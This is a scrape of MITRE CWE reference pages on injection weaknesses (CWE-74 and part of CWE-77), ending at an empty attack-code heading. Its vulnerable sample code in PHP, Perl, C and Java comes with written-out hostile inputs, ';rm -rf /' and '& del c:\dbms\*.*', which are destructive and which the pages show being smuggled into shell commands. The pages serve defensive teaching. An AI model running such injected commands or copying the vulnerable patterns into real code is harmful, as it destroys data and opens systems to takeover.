Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Description, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Applicable_Platforms, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities
2009-12-28CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Potential_Mitigations, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Special Elements (Characters or Reserved Words)
2009-03-10Failure to Sanitize Special Elements
2010-04-05Improper Sanitization of Special Elements

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID: 74
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
+ Extended Description
Software or other automated logic has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.75Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.91XML Injection (aka Blind XPath Injection)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.99Improper Control of Resource Identifiers ('Resource Injection')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1236Improper Neutralization of Formula Elements in a CSV File
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.116Improper Encoding or Escaping of Output
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.91XML Injection (aka Blind XPath Injection)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1236Improper Neutralization of Formula Elements in a CSV File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Other

Technical Impact: Alter Execution Logic

Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.
Integrity
Other

Technical Impact: Other

Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

(bad code)
Example Language: Perl 
my $arg = GetArgument("filename");
do_listing($arg);

sub do_listing {
my($fname) = @_;
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
return;
}
# build command
my $cmd = "/bin/ls -l $fname";
system($cmd);
}

sub validate_name {
my($name) = @_;
if ($name =~ /^[\w\-]+$/) {
return(1);
}
else {
return(0);
}
}

However, validate_name() alows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:

(good code)
Example Language: Perl 
if ($name =~ /^\w[\w\-]+$/) ...
+ Observed Examples
ReferenceDescription
Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution.
Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
injection of sed script syntax ("sed injection")
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability)
+ Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-74 is high-level and often misused when lower-level weaknesses are more appropriate.

Comments:

Examine the children and descendants of this entry to find a more precise mapping.
+ Notes

Theoretical

Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInjection problem ('data' used as something else)
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Common_Consequences, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationship_Notes, Relationships, Theoretical_Notes
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Injection
2009-05-27Failure to Sanitize Data into a Different Plane (aka 'Injection')
2010-06-21Failure to Sanitize Data into a Different Plane ('Injection')

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID: 77
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
+ Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.

Command injection is a common problem with wrapper programs.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.624Executable Regular Expression Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.624Executable Regular Expression Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.624Executable Regular Expression Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.917Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

(bad code)
Example Language: Java 
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

Used normally, the output is simply the contents of the file requested:

(informative)
 
$ ./catWrapper Story.txt
When last we left our heroes...

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

(attack code)
 
